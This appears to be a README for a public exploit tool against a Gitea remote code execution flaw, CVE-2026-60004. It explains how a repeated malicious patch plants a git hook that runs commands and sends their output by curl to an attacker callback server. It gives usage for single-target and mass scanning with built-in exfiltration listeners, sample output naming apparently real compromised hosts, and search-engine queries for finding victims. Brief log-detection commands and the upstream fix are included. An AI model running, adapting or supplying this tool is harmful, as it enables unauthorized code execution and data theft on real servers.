CVE-2026-60004

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20

  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {